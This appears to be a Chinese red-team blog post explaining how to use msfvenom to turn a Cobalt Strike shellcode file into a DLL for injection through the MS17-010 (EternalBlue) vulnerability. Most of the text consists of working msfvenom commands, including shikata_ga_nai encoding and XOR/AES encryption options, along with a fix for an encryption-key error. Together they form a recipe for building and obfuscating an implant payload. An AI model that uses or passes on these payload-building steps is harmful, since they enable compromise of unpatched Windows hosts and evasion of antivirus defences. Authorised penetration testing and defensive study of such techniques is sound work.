我们在对存在MS17010的漏洞主机进行DLL注入的时候,一般都是用的Meataploit的msfvenom生成出来的,所以每次上线之后基本都是要经过相对比较繁琐的操作之后转到Cobalt Strike去,这样就会显得非常麻烦。
所以可以使用metasploit的msfvenom来把Cobalt Strike生成的bin转成DLL。
简单的转化实现(跟着做)
- 第一步
- 第二步
把生成的bin文件上传到安装有Metasploit机器
然后用msfvenom把bin文件转成可以被注入的dll
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows -f dll -o shell.dll
那么这个shell.dll
,就能用于在进行永恒之蓝的漏洞的dll注入了。
转化命令的更多了解
msfvenom命令参数非常多,还有就是要注意你的shellcode是x64还是x86,那么你在用msfvenom的时进行变换。其实转化方法一共分两种:
msfvenom -p generic/custom PAYLOADFILE=./shellcode.bin -a x86 --platform windows -e x86/add_sub -f dll -o shellcode-encoded.dll
cat <shellcode_file> | msfvenom -b <bad_chars> -e <encryption> -f <format> -a <arch> --platform <platform> -p -
for example:
cat ~/Desktop/shellcode.bin|./msfvenom -b '\x00' -e x86/shikata_ga_nai --encrypt xor --encrypt-key 0x69 --arch x86 --platform windows -f c -p -
注意:
1
2
3Error: Initialization vector is missing
解决方案:For AES-256 the key size must be 256 bits or 32 bytes. The IV for CFB mode - as stated earlier - must always be 16 bytes as AES is a 128 bit block cipher. AES is restricted with regards to the block size compared with the Rijndael cipher.
msfvenom使用aes256加密时,--encrypt-key长度为32,--encrypt-iv长度为16位
msfvenom详细命令
这里有一篇别人翻译的:https://xz.aliyun.com/t/2381
因为是以前翻译过来的,所以跟最新的msfvenom的参数会有出入,可以自己用命令查看最新的参数msfvenom -h
1 | root@localhosts:~# msfvenom -h |
关于我们
5号黯区是一支致力于红队攻防研究与培训的团队,官网:http://www.dark5.net